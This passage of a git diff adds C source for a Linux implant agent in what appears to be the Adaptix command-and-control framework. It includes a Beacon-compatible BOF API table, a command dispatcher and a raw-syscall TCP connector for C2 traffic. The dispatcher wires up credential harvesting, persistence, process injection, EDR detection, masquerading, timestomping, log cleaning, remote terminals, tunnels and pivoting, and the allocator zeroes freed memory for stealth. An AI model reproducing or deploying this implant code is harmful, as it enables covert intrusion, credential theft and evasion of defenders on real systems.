(out_uid) *out_uid = st.st_uid; + if (out_gid) *out_gid = st.st_gid; + return 0; +} + +// Directory listing +int AxOpenDir(const char *path) { + if (!path) return -1; + return sys_open(path, 0x10000 /* O_RDONLY | O_DIRECTORY */, 0); +} + +int AxReadDir(int fd, void *buf, int bufsize) { + if (fd < 0 || !buf || bufsize <= 0) return -1; + return sys_getdents64(fd, buf, (unsigned int)bufsize); +} + +// Memory +void *AxMalloc(int size) { + if (size <= 0) return (void *)0; + return ax_malloc((size_t)size); +} + +void AxFree(void *ptr) { + if (ptr) ax_free(ptr); +} + +void *AxMemset(void *s, int c, int n) { + if (!s || n <= 0) return s; + return ax_memset(s, c, (size_t)n); +} + +void *AxMemcpy(void *dst, const void *src, int n) { + if (!dst || !src || n <= 0) return dst; + return ax_memcpy(dst, src, (size_t)n); +} + +// String operations +int AxStrlen(const char *s) { + if (!s) return 0; + return (int)ax_strlen(s); +} + +int AxStrcmp(const char *a, const char *b) { + if (!a || !b) return -1; + return ax_strcmp(a, b); +} + +int AxStrncmp(const char *a, const char *b, int n) { + if (!a || !b || n <= 0) return -1; + return ax_strncmp(a, b, (size_t)n); +} + +char *AxStrcpy(char *dst, const char *src) { + if (!dst || !src) return dst; + return ax_strcpy(dst, src); +} + +char *AxStrncpy(char *dst, const char *src, int n) { + if (!dst || !src || n <= 0) return dst; + return ax_strncpy(dst, src, (size_t)n); +} + +char *AxStrcat(char *dst, const char *src) { + if (!dst || !src) return dst; + return ax_strcat(dst, src); +} + +char *AxStrstr(const char *haystack, const char *needle) { + if (!haystack || !needle) return (char *)0; + return ax_strstr(haystack, needle); +} + +char *AxStrchr(const char *s, int c) { + if (!s) return (char *)0; + return ax_strchr(s, c); +} + +// Formatted output +int AxSnprintf(char *buf, int size, const char *fmt, ...) { + if (!buf || !fmt || size <= 0) return 0; + va_list args; + va_start(args, fmt); + int ret = ax_vsnprintf(buf, (size_t)size, fmt, args); + va_end(args); + return ret; +} + +// Process info +int AxGetPid(void) { + return sys_getpid(); +} + +int AxGetUid(void) { + return sys_getuid(); +} + +int AxGetEuid(void) { + return sys_geteuid(); +} + +// getcwd +int AxGetCwd(char *buf, int size) { + if (!buf || size <= 0) return -1; + return sys_getcwd(buf, (size_t)size); +} + +// getenv via /proc/self/environ +int AxGetEnv(const char *name, char *out_buf, int out_size) { + if (!name || !out_buf || out_size <= 0) return -1; + + char *env_data = (char *)0; + int env_len = AxReadFileToBuffer("/proc/self/environ", &env_data, 65536); + if (env_len <= 0 || !env_data) return -1; + + int name_len = (int)ax_strlen(name); + int found = -1; + + // /proc/self/environ entries are null-separated + int pos = 0; + while (pos < env_len) { + char *entry = env_data + pos; + int entry_len = 0; + while (pos + entry_len < env_len && entry[entry_len] != '\0') + entry_len++; + + // Check if entry starts with "name=" + if (entry_len > name_len + 1 && + ax_strncmp(entry, name, name_len) == 0 && + entry[name_len] == '=') { + char *val = entry + name_len + 1; + int val_len = entry_len - name_len - 1; + if (val_len >= out_size) val_len = out_size - 1; + ax_memcpy(out_buf, val, val_len); + out_buf[val_len] = '\0'; + found = val_len; + break; + } + + pos += entry_len + 1; // skip null separator + } + + ax_free(env_data); + return found; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Symbol resolution table — used by elf_bof.c +/// ──────────────────────────────────────────────────────────────────────────── + +typedef struct { + const char *name; + void *func; +} bof_api_entry_t; + +static bof_api_entry_t bof_api_table[] = { + // Data Parser + {"BeaconDataParse", (void *)BeaconDataParse}, + {"BeaconDataInt", (void *)BeaconDataInt}, + {"BeaconDataShort", (void *)BeaconDataShort}, + {"BeaconDataLength", (void *)BeaconDataLength}, + {"BeaconDataExtract", (void *)BeaconDataExtract}, + + // Output + {"BeaconOutput", (void *)BeaconOutput}, + {"BeaconPrintf", (void *)BeaconPrintf}, + + // Format + {"BeaconFormatAlloc", (void *)BeaconFormatAlloc}, + {"BeaconFormatReset", (void *)BeaconFormatReset}, + {"BeaconFormatAppend", (void *)BeaconFormatAppend}, + {"BeaconFormatPrintf", (void *)BeaconFormatPrintf}, + {"BeaconFormatToString", (void *)BeaconFormatToString}, + {"BeaconFormatFree", (void *)BeaconFormatFree}, + {"BeaconFormatInt", (void *)BeaconFormatInt}, + + // Utility + {"BeaconIsAdmin", (void *)BeaconIsAdmin}, + + // Async BOF + {"BeaconWakeup", (void *)BeaconWakeup}, + {"BeaconGetStopJobEvent",(void *)BeaconGetStopJobEvent}, + + // Adaptix + {"AxDownloadMemory", (void *)AxDownloadMemory}, + + // Linux system primitives + {"AxOpenFile", (void *)AxOpenFile}, + {"AxCloseFile", (void *)AxCloseFile}, + {"AxReadFile", (void *)AxReadFile}, + {"AxReadFileToBuffer", (void *)AxReadFileToBuffer}, + {"AxFileStat", (void *)AxFileStat}, + {"AxOpenDir", (void *)AxOpenDir}, + {"AxReadDir", (void *)AxReadDir}, + {"AxMalloc", (void *)AxMalloc}, + {"AxFree", (void *)AxFree}, + {"AxMemset", (void *)AxMemset}, + {"AxMemcpy", (void *)AxMemcpy}, + {"AxStrlen", (void *)AxStrlen}, + {"AxStrcmp", (void *)AxStrcmp}, + {"AxStrncmp", (void *)AxStrncmp}, + {"AxStrcpy", (void *)AxStrcpy}, + {"AxStrncpy", (void *)AxStrncpy}, + {"AxStrcat", (void *)AxStrcat}, + {"AxStrstr", (void *)AxStrstr}, + {"AxStrchr", (void *)AxStrchr}, + {"AxSnprintf", (void *)AxSnprintf}, + {"AxGetPid", (void *)AxGetPid}, + {"AxGetUid", (void *)AxGetUid}, + {"AxGetEuid", (void *)AxGetEuid}, + {"AxGetCwd", (void *)AxGetCwd}, + {"AxGetEnv", (void *)AxGetEnv}, + + // Sentinel + {(const char *)0, (void *)0} +}; + +/// Resolve a BOF symbol by name. Returns function pointer or NULL. +void *bof_resolve_symbol(const char *name) { + if (!name) + return (void *)0; + for (int i = 0; bof_api_table[i].name != (const char *)0; i++) { + if (ax_strcmp(name, bof_api_table[i].name) == 0) + return bof_api_table[i].func; + } + return (void *)0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h new file mode 100644 index 000000000..29d3e929e --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h @@ -0,0 +1,115 @@ +/// bof_api.h — Linux Beacon API header for BOF authors +/// This is the public API that BOF .o files link against. +/// Compile BOFs with: gcc -c -o bof.o bof.c -include bof_api.h -Os -fPIC + +#ifndef LINUX_BEACON_API_H +#define LINUX_BEACON_API_H + +/// ── Data parser types ── + +typedef struct { + char *original; + char *buffer; + int length; + int size; +} datap; + +typedef struct { + char *original; + char *buffer; + int length; + int size; +} formatp; + +/// ── Output types (CS-compatible) ── + +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d + +/// ── Data Parser API ── + +void BeaconDataParse(datap *parser, char *buffer, int size); +int BeaconDataInt(datap *parser); +short BeaconDataShort(datap *parser); +int BeaconDataLength(datap *parser); +char *BeaconDataExtract(datap *parser, int *size); + +/// ── Output API ── + +void BeaconOutput(int type, const char *data, int len); +void BeaconPrintf(int type, const char *fmt, ...); + +/// ── Format API ── + +void BeaconFormatAlloc(formatp *format, int maxsz); +void BeaconFormatReset(formatp *format); +void BeaconFormatAppend(formatp *format, const char *text, int len); +void BeaconFormatPrintf(formatp *format, const char *fmt, ...); +char *BeaconFormatToString(formatp *format, int *size); +void BeaconFormatFree(formatp *format); +void BeaconFormatInt(formatp *format, int value); + +/// ── Utility ── + +int BeaconIsAdmin(void); + +/// ── Async BOF APIs ── + +void BeaconWakeup(void); +int BeaconGetStopJobEvent(void); // returns readable fd (-1 if not async) + +/// ── Adaptix extensions ── + +void AxDownloadMemory(char *filename, char *data, int len); + +/// ── Linux system primitives (Adaptix extensions) ── +/// These expose the agent's nostdlib syscall wrappers to BOFs + +// File I/O +int AxOpenFile(const char *path, int flags, int mode); +int AxCloseFile(int fd); +int AxReadFile(int fd, void *buf, int count); + +// File read helper — reads entire file into malloc'd buffer, returns bytes read (-1 on error) +int AxReadFileToBuffer(const char *path, char **out_buf, int max_size); + +// File stat +int AxFileStat(const char *path, unsigned int *out_mode, long *out_size, unsigned int *out_uid, unsigned int *out_gid); + +// Directory listing +int AxOpenDir(const char *path); +int AxReadDir(int fd, void *buf, int bufsize); + +// Memory +void *AxMalloc(int size); +void AxFree(void *ptr); +void *AxMemset(void *s, int c, int n); +void *AxMemcpy(void *dst, const void *src, int n); + +// String operations +int AxStrlen(const char *s); +int AxStrcmp(const char *a, const char *b); +int AxStrncmp(const char *a, const char *b, int n); +char *AxStrcpy(char *dst, const char *src); +char *AxStrncpy(char *dst, const char *src, int n); +char *AxStrcat(char *dst, const char *src); +char *AxStrstr(const char *haystack, const char *needle); +char *AxStrchr(const char *s, int c); + +// Formatted output +int AxSnprintf(char *buf, int size, const char *fmt, ...); + +// Process info +int AxGetPid(void); +int AxGetUid(void); +int AxGetEuid(void); + +// getcwd +int AxGetCwd(char *buf, int size); + +// getenv equivalent — reads /proc/self/environ +int AxGetEnv(const char *name, char *out_buf, int out_size); + +#endif // LINUX_BEACON_API_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c new file mode 100644 index 000000000..df6569966 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c @@ -0,0 +1,130 @@ +#include "commander.h" +#include "crt.h" +#include "tasks_fs.h" +#include "tasks_proc.h" +#include "tasks_linux.h" +#include "tasks_async.h" +#include "tasks_net.h" +#include "tasks_opsec.h" +#include "tasks_pivot.h" +#include "pivot.h" +#include "elf_bof.h" + +static int cmd_error(mp_writer_t* w, const char* msg); + +int handle_command(uint32_t code, uint32_t cmd_id, + const uint8_t* data, uint32_t data_len, + mp_writer_t* response) { + switch (code) { + // ── Filesystem commands ── + case COMMAND_PWD: + return task_pwd(response); + case COMMAND_CD: + return task_cd(data, data_len, response); + case COMMAND_CAT: + return task_cat(data, data_len, response); + case COMMAND_LS: + return task_ls(data, data_len, response); + case COMMAND_CP: + return task_cp(data, data_len, response); + case COMMAND_MV: + return task_mv(data, data_len, response); + case COMMAND_MKDIR: + return task_mkdir(data, data_len, response); + case COMMAND_RM: + return task_rm(data, data_len, response); + + // ── Process commands ── + case COMMAND_PS: + return task_ps(response); + case COMMAND_KILL: + return task_kill(data, data_len, response); + case COMMAND_SHELL: + return task_shell(data, data_len, response); + + // ── Linux-specific ── + case COMMAND_GETUID: + return task_getuid(response); + case COMMAND_ENV: + return task_env(response); + case COMMAND_NETSTAT: + return task_netstat(response); + case COMMAND_MOUNTS: + return task_mounts(response); + case COMMAND_EDR: + return task_edr(response); + case COMMAND_CREDS: + return task_creds(data, data_len, response); + case COMMAND_PERSIST: + return task_persist(data, data_len, response); + case COMMAND_CONTAINER: + return task_container(data, data_len, response); + + // ── OPSEC commands ── + case COMMAND_MASQUERADE: + return task_masquerade(data, data_len, response); + case COMMAND_TIMESTOMP: + return task_timestomp(data, data_len, response); + case COMMAND_CLEANLOG: + return task_cleanlog(response); + case COMMAND_INJECT: + return task_inject(data, data_len, response); + case COMMAND_MIGRATE: + return task_migrate(response); + + // ── Control ── + case COMMAND_EXIT: + return -99; + + // ── Async/Job commands ── + case COMMAND_DOWNLOAD: + return task_download(data, data_len, response); + case COMMAND_UPLOAD: + return task_upload(data, data_len, response); + case COMMAND_RUN: + return task_run(data, data_len, response); + case COMMAND_JOB_LIST: + return task_job_list(response); + case COMMAND_JOB_KILL: + return task_job_kill(data, data_len, response); + + // ── Network commands ── + case COMMAND_TUNNEL_START: + return task_tunnel_start(data, data_len, response); + case COMMAND_TUNNEL_WRITE: + return task_tunnel_write(data, data_len, response); + case COMMAND_TUNNEL_STOP: + return task_tunnel_stop(data, data_len, response); + case COMMAND_TUNNEL_PAUSE: + return task_tunnel_pause(data, data_len, response); + case COMMAND_TUNNEL_RESUME: + return task_tunnel_resume(data, data_len, response); + case COMMAND_TERMINAL_START: + return task_terminal_start(data, data_len, response); + case COMMAND_TERMINAL_STOP: + return task_terminal_stop(data, data_len, response); + + // ── BOF commands ── + case COMMAND_EXEC_BOF: + return task_exec_bof(cmd_id, data, data_len, response); + case COMMAND_EXEC_BOF_ASYNC: + return task_exec_bof_async(cmd_id, data, data_len, response); + + // ── Pivot commands ── + case COMMAND_LINK: + return task_link_with_id(cmd_id, data, data_len, response); + case COMMAND_UNLINK: + return task_unlink(data, data_len, response); + case COMMAND_PIVOT_EXEC: + return task_pivot_exec(data, data_len, response); + + default: + return cmd_error(response, "Unknown command"); + } +} + +static int cmd_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h new file mode 100644 index 000000000..6c571ab89 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h @@ -0,0 +1,27 @@ +#ifndef COMMANDER_H +#define COMMANDER_H + +#include "types.h" +#include "msgpack.h" + +/// Process a list of commands received from the server. +/// Input: array of msgpack-encoded Command structs. +/// Output: array of msgpack-encoded response buffers. +/// +/// Each Command has: {code: uint, id: uint, data: []byte} +/// Response format depends on the command code. + +/// Process all commands from inMessage.Object. +/// Returns msgpack-encoded array of response buffers. +/// Caller must free the returned buffer. +int process_commands(const uint8_t **commands, uint32_t *cmd_sizes, + uint32_t cmd_count, + buffer_t *out_responses, uint32_t *out_count); + +/// Process a single command, write response to writer. +/// Returns 0 on success. +int handle_command(uint32_t code, uint32_t cmd_id, + const uint8_t *data, uint32_t data_len, + mp_writer_t *response); + +#endif /* COMMANDER_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c new file mode 100644 index 000000000..3851cd686 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c @@ -0,0 +1,269 @@ +#include "connector.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// Linux socket constants +#define AF_INET 2 +#define SOCK_STREAM 1 +#define IPPROTO_TCP 6 + +// sockaddr_in structure (manual — no libc headers) +struct linux_sockaddr_in { + uint16_t sin_family; + uint16_t sin_port; // network byte order + uint32_t sin_addr; // network byte order + uint8_t sin_zero[8]; +}; + +// Parse "host:port" string — host must be an IP address (no DNS resolution) +// For Phase 1, we only support direct IP:port (DNS will come in Phase 2 with resolver) +static int parse_address(const char* address, uint32_t* ip, uint16_t* port) { + const char* colon = (const char*)0; + for (const char* p = address; *p; p++) { + if (*p == ':') colon = p; + } + if (!colon) return -1; + + // Parse IP: a.b.c.d + uint32_t octets[4] = {0}; + int octet_idx = 0; + for (const char* p = address; p < colon && octet_idx < 4; p++) { + if (*p == '.') { + octet_idx++; + } else if (*p >= '0' && *p <= '9') { + octets[octet_idx] = octets[octet_idx] * 10 + (*p - '0'); + } else { + return -1; + } + } + if (octet_idx != 3) return -1; + for (int i = 0; i < 4; i++) { + if (octets[i] > 255) return -1; + } + + // Network byte order (big-endian) + *ip = (octets[0]) | (octets[1] << 8) | (octets[2] << 16) | (octets[3] << 24); + + // Parse port + *port = 0; + for (const char* p = colon + 1; *p >= '0' && *p <= '9'; p++) { + *port = *port * 10 + (*p - '0'); + } + if (*port == 0) return -1; + + // Convert port to network byte order (big-endian) + *port = ((*port >> 8) & 0xFF) | ((*port & 0xFF) << 8); + + return 0; +} + +int conn_open(connector_t* c, const char* address) { + uint32_t ip; + uint16_t port; + + if (parse_address(address, &ip, &port) != 0) + return -1; + + // Create TCP socket via direct syscall + int fd = (int)sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (fd < 0) return -1; + + // Build sockaddr_in + struct linux_sockaddr_in addr; + ax_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = port; + addr.sin_addr = ip; + + // Connect via direct syscall + if (sys_connect(fd, (const void*)&addr, sizeof(addr)) != 0) { + sys_close(fd); + return -1; + } + + c->fd = fd; + return 0; +} + +void conn_close(connector_t* c) { + if (c->fd >= 0) { + sys_close(c->fd); + c->fd = -1; + } +} + +int conn_read_exact(connector_t* c, uint8_t* buf, size_t size) { + size_t total = 0; + while (total < size) { + long n = sys_read(c->fd, buf + total, size - total); + if (n <= 0) return -1; + total += (size_t)n; + } + return 0; +} + +int conn_recv_msg(connector_t* c, uint8_t** data, size_t* len) { + // Read 4-byte big-endian length + uint8_t len_buf[4]; + if (conn_read_exact(c, len_buf, 4) != 0) return -1; + + uint32_t msg_len = ((uint32_t)len_buf[0] << 24) | ((uint32_t)len_buf[1] << 16) | + ((uint32_t)len_buf[2] << 8) | len_buf[3]; + + if (msg_len == 0) { + *data = (uint8_t*)0; + *len = 0; + return 0; + } + + // Sanity check: max 64MB + if (msg_len > 64 * 1024 * 1024) return -1; + + *data = (uint8_t*)ax_malloc(msg_len); + if (!*data) return -1; + + if (conn_read_exact(c, *data, msg_len) != 0) { + ax_free(*data); + *data = (uint8_t*)0; + return -1; + } + + *len = msg_len; + return 0; +} + +int conn_send_msg(connector_t* c, const uint8_t* data, size_t len) { + // Write 4-byte big-endian length + data + uint8_t header[4] = { + (uint8_t)(len >> 24), (uint8_t)(len >> 16), + (uint8_t)(len >> 8), (uint8_t)len + }; + + // Send header + size_t total = 0; + while (total < 4) { + long n = sys_write(c->fd, header + total, 4 - total); + if (n <= 0) return -1; + total += (size_t)n; + } + + // Send data + total = 0; + while (total < len) { + long n = sys_write(c->fd, data + total, len - total); + if (n <= 0) return -1; + total += (size_t)n; + } + + return 0; +} + +int conn_discard(connector_t* c, size_t size) { + uint8_t tmp[1024]; + size_t remaining = size; + while (remaining > 0) { + size_t chunk = remaining < sizeof(tmp) ? remaining : sizeof(tmp); + if (conn_read_exact(c, tmp, chunk) != 0) return -1; + remaining -= chunk; + } + return 0; +} + +// fd_set manipulation for pselect6 +// Linux fd_set is an array of unsigned long bitmasks +typedef struct { + unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))]; +} conn_fdset_t; + +static inline void conn_fd_zero(conn_fdset_t* set) { + for (unsigned i = 0; i < sizeof(set->fds_bits) / sizeof(set->fds_bits[0]); i++) + set->fds_bits[i] = 0; +} + +static inline void conn_fd_set(int fd, conn_fdset_t* set) { + unsigned idx = (unsigned)fd / (8 * sizeof(unsigned long)); + unsigned bit = (unsigned)fd % (8 * sizeof(unsigned long)); + set->fds_bits[idx] |= (1UL << bit); +} + +static inline int conn_fd_isset(int fd, conn_fdset_t* set) { + unsigned idx = (unsigned)fd / (8 * sizeof(unsigned long)); + unsigned bit = (unsigned)fd % (8 * sizeof(unsigned long)); + return (set->fds_bits[idx] & (1UL << bit)) != 0; +} + +int conn_poll_read(connector_t* c, int timeout_ms) { + if (c->fd < 0) return -1; + + conn_fdset_t rfds; + conn_fd_zero(&rfds); + conn_fd_set(c->fd, &rfds); + + struct linux_timespec ts; + ts.tv_sec = timeout_ms / 1000; + ts.tv_nsec = (long)(timeout_ms % 1000) * 1000000L; + + int ret = sys_pselect6(c->fd + 1, (void*)&rfds, (void*)0, (void*)0, &ts, (void*)0); + if (ret < 0) return -1; // error + if (ret == 0) return 0; // timeout + return 1; // data available +} + +int conn_recv_msg_timeout(connector_t* c, uint8_t** data, size_t* len, int timeout_ms) { + *data = (uint8_t*)0; + *len = 0; + + int poll = conn_poll_read(c, timeout_ms); + if (poll <= 0) return poll; // 0 = timeout, -1 = error + + // Data available — do blocking recv (data is ready) + return conn_recv_msg(c, data, len); +} + +// Socket option constants +#define SOL_SOCKET 1 +#define SO_REUSEADDR 2 + +int conn_bind_listen(connector_t* server, uint16_t port) { + int fd = (int)sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (fd < 0) return -1; + + // SO_REUSEADDR — allow quick rebind after disconnect + int opt = 1; + sys_setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); + + // Bind to 0.0.0.0:port + struct linux_sockaddr_in addr; + ax_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = ((port >> 8) & 0xFF) | ((port & 0xFF) << 8); // host→network byte order + addr.sin_addr = 0; // INADDR_ANY + + if (sys_bind(fd, (const void*)&addr, sizeof(addr)) != 0) { + sys_close(fd); + return -1; + } + + if (sys_listen(fd, 1) != 0) { + sys_close(fd); + return -1; + } + + server->fd = fd; + return 0; +} + +int conn_accept(connector_t* client, connector_t* server) { + int fd = sys_accept(server->fd, (void*)0, (void*)0); + if (fd < 0) return -1; + + client->fd = fd; + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h new file mode 100644 index 000000000..867259dd4 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h @@ -0,0 +1,53 @@ +#ifndef CONNECTOR_H +#define CONNECTOR_H + +#include +#include + +/// TCP connector for C2 communication +/// Protocol: [4-byte BE length][payload] +/// Matches Go's functions.SendMsg/RecvMsg + +typedef struct { + int fd; +} connector_t; + +/// Connect to address "host:port" via TCP. +/// Returns 0 on success, -1 on failure. +int conn_open(connector_t *c, const char *address); + +/// Close connection. +void conn_close(connector_t *c); + +/// Read exactly `size` bytes. +int conn_read_exact(connector_t *c, uint8_t *buf, size_t size); + +/// Receive a length-prefixed message. +/// Allocates buffer, sets *data and *len. +/// Caller must free *data with ax_free(). +int conn_recv_msg(connector_t *c, uint8_t **data, size_t *len); + +/// Send a length-prefixed message. +int conn_send_msg(connector_t *c, const uint8_t *data, size_t len); + +/// Read and discard `size` bytes (for banner). +int conn_discard(connector_t *c, size_t size); + +/// Check if data is available for reading within `timeout_ms` milliseconds. +/// Returns: 1 = data available, 0 = timeout (no data), -1 = error/closed +int conn_poll_read(connector_t *c, int timeout_ms); + +/// Receive a length-prefixed message with timeout. +/// Returns: 0 = message received, 1 = timeout (no data), -1 = error +int conn_recv_msg_timeout(connector_t *c, uint8_t **data, size_t *len, int timeout_ms); + +/// Bind TCP: create socket, bind to port, listen. +/// Returns 0 on success (server->fd set), -1 on failure. +int conn_bind_listen(connector_t *server, uint16_t port); + +/// Accept a connection on a listening socket. +/// Blocks until a client connects. Sets client->fd. +/// Returns 0 on success, -1 on failure. +int conn_accept(connector_t *client, connector_t *server); + +#endif /* CONNECTOR_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c new file mode 100644 index 000000000..cd152afc0 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c @@ -0,0 +1,293 @@ +#include "crt.h" +#include "types.h" + +// Include arch-specific syscall wrappers +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// Linux mmap constants +#define PROT_READ 0x1 +#define PROT_WRITE 0x2 +#define MAP_PRIVATE 0x02 +#define MAP_ANONYMOUS 0x20 // Linux: 0x20 (macOS: 0x1000) +#define MAP_FAILED ((void*)-1) +#define O_RDONLY 0 + +// Allocation header for size tracking +typedef struct { + size_t total_size; + size_t _pad[1]; // Align to 16 bytes +} alloc_header_t; + +#define HEADER_SIZE sizeof(alloc_header_t) + +// Page alignment helper +static inline size_t align_page(size_t size) { + return (size + 4095) & ~(size_t)4095; +} + +/// ax_malloc — allocate via mmap syscall (zero libc dependency) +void *ax_malloc(size_t size) { + if (size == 0) return NULL; + + size_t total = align_page(HEADER_SIZE + size); + void *ptr = sys_mmap(NULL, total, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (ptr == MAP_FAILED) return NULL; + + alloc_header_t *hdr = (alloc_header_t *)ptr; + hdr->total_size = total; + return (uint8_t *)ptr + HEADER_SIZE; +} + +/// ax_free — OPSEC: zero memory before munmap +void ax_free(void *ptr) { + if (!ptr) return; + + alloc_header_t *hdr = (alloc_header_t *)((uint8_t *)ptr - HEADER_SIZE); + size_t total = hdr->total_size; + + // Sanity check + if (total < HEADER_SIZE || total > (size_t)256 * 1024 * 1024) return; + + // OPSEC: Zero memory before releasing + volatile uint8_t *p = (volatile uint8_t *)hdr; + for (size_t i = 0; i < total; i++) p[i] = 0; + + sys_munmap(hdr, total); +} + +/// ax_realloc — malloc new + copy + free old +void *ax_realloc(void *ptr, size_t new_size) { + if (!ptr) return ax_malloc(new_size); + if (new_size == 0) { ax_free(ptr); return NULL; } + + alloc_header_t *hdr = (alloc_header_t *)((uint8_t *)ptr - HEADER_SIZE); + size_t old_data_size = hdr->total_size - HEADER_SIZE; + + void *new_ptr = ax_malloc(new_size); + if (!new_ptr) return NULL; + + size_t copy_size = old_data_size < new_size ? old_data_size : new_size; + ax_memcpy(new_ptr, ptr, copy_size); + ax_free(ptr); + + return new_ptr; +} + +/// Memory operations + +void *ax_memset(void *s, int c, size_t n) { + volatile uint8_t *p = (volatile uint8_t *)s; + while (n--) *p++ = (uint8_t)c; + return s; +} + +void *ax_memcpy(void *dst, const void *src, size_t n) { + uint8_t *d = (uint8_t *)dst; + const uint8_t *s = (const uint8_t *)src; + while (n--) *d++ = *s++; + return dst; +} + +void *ax_memmove(void *dst, const void *src, size_t n) { + uint8_t *d = (uint8_t *)dst; + const uint8_t *s = (const uint8_t *)src; + if (d < s) { + while (n--) *d++ = *s++; + } else { + d += n; s += n; + while (n--) *--d = *--s; + } + return dst; +} + +int ax_memcmp(const void *a, const void *b, size_t n) { + const uint8_t *pa = (const uint8_t *)a; + const uint8_t *pb = (const uint8_t *)b; + while (n--) { + if (*pa != *pb) return *pa - *pb; + pa++; pb++; + } + return 0; +} + +/// String operations + +size_t ax_strlen(const char *s) { + size_t len = 0; + while (s[len]) len++; + return len; +} + +int ax_strcmp(const char *a, const char *b) { + while (*a && (*a == *b)) { a++; b++; } + return *(unsigned char *)a - *(unsigned char *)b; +} + +int ax_strncmp(const char *a, const char *b, size_t n) { + while (n && *a && (*a == *b)) { a++; b++; n--; } + if (n == 0) return 0; + return *(unsigned char *)a - *(unsigned char *)b; +} + +char *ax_strcpy(char *dst, const char *src) { + char *ret = dst; + while ((*dst++ = *src++)); + return ret; +} + +char *ax_strncpy(char *dst, const char *src, size_t n) { + char *ret = dst; + while (n && (*dst++ = *src++)) n--; + while (n--) *dst++ = 0; + return ret; +} + +char *ax_strcat(char *dst, const char *src) { + char *ret = dst; + while (*dst) dst++; + while ((*dst++ = *src++)); + return ret; +} + +char *ax_strstr(const char *haystack, const char *needle) { + if (!*needle) return (char *)haystack; + for (; *haystack; haystack++) { + const char *h = haystack, *n = needle; + while (*h && *n && (*h == *n)) { h++; n++; } + if (!*n) return (char *)haystack; + } + return NULL; +} + +char *ax_strchr(const char *s, int c) { + while (*s) { + if (*s == (char)c) return (char *)s; + s++; + } + if (c == 0) return (char *)s; + return NULL; +} + +/// Integer conversion + +int ax_atoi(const char *s) { + int result = 0, sign = 1; + while (*s == ' ' || *s == '\t' || *s == '\n') s++; + if (*s == '-') { sign = -1; s++; } + else if (*s == '+') s++; + while (*s >= '0' && *s <= '9') { + result = result * 10 + (*s - '0'); + s++; + } + return result * sign; +} + +int ax_hextoi(const char *s) { + int result = 0; + if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) s += 2; + while (*s) { + int digit; + if (*s >= '0' && *s <= '9') digit = *s - '0'; + else if (*s >= 'a' && *s <= 'f') digit = *s - 'a' + 10; + else if (*s >= 'A' && *s <= 'F') digit = *s - 'A' + 10; + else break; + result = result * 16 + digit; + s++; + } + return result; +} + +char *ax_itoa(int val, char *buf, int base) { + char *p = buf; + char *start; + int neg = 0; + + if (val < 0 && base == 10) { + neg = 1; + val = -val; + } + + start = p; + do { + int d = val % base; + *p++ = (d < 10) ? '0' + d : 'a' + d - 10; + val /= base; + } while (val); + + if (neg) *p++ = '-'; + *p = 0; + + // Reverse + char *end = p - 1; + char *beg = start; + while (beg < end) { + char tmp = *beg; + *beg++ = *end; + *end-- = tmp; + } + + return buf; +} + +/// Random bytes — reads /dev/urandom via direct syscall +int ax_random_bytes(void *buf, size_t len) { + // Try getrandom syscall first (more OPSEC — no file open) + long ret = sys_getrandom(buf, len, 0); + if (ret == (long)len) return 0; + + // Fallback: /dev/urandom + int fd = sys_open("/dev/urandom", O_RDONLY, 0); + if (fd < 0) return -1; + + size_t total = 0; + while (total < len) { + ret = sys_read(fd, (uint8_t *)buf + total, len - total); + if (ret <= 0) { sys_close(fd); return -1; } + total += ret; + } + sys_close(fd); + return 0; +} + +/// GCC builtins — required for ARM64 (and sometimes x86_64) when the compiler +/// emits implicit memset/memcpy/memmove for struct/array initialization. +void *memset(void *s, int c, size_t n) { return ax_memset(s, c, n); } +void *memcpy(void *d, const void *s, size_t n) { return ax_memcpy(d, s, n); } +void *memmove(void *d, const void *s, size_t n) { return ax_memmove(d, s, n); } + +/// buffer_t implementation + +void buf_init(buffer_t *b, int initial_cap) { + b->data = (uint8_t *)ax_malloc(initial_cap); + b->len = 0; + b->cap = b->data ? initial_cap : 0; +} + +void buf_append(buffer_t *b, const void *data, int len) { + if (b->len + len > b->cap) { + int new_cap = b->cap * 2; + if (new_cap < b->len + len) new_cap = b->len + len; + uint8_t *new_data = (uint8_t *)ax_realloc(b->data, new_cap); + if 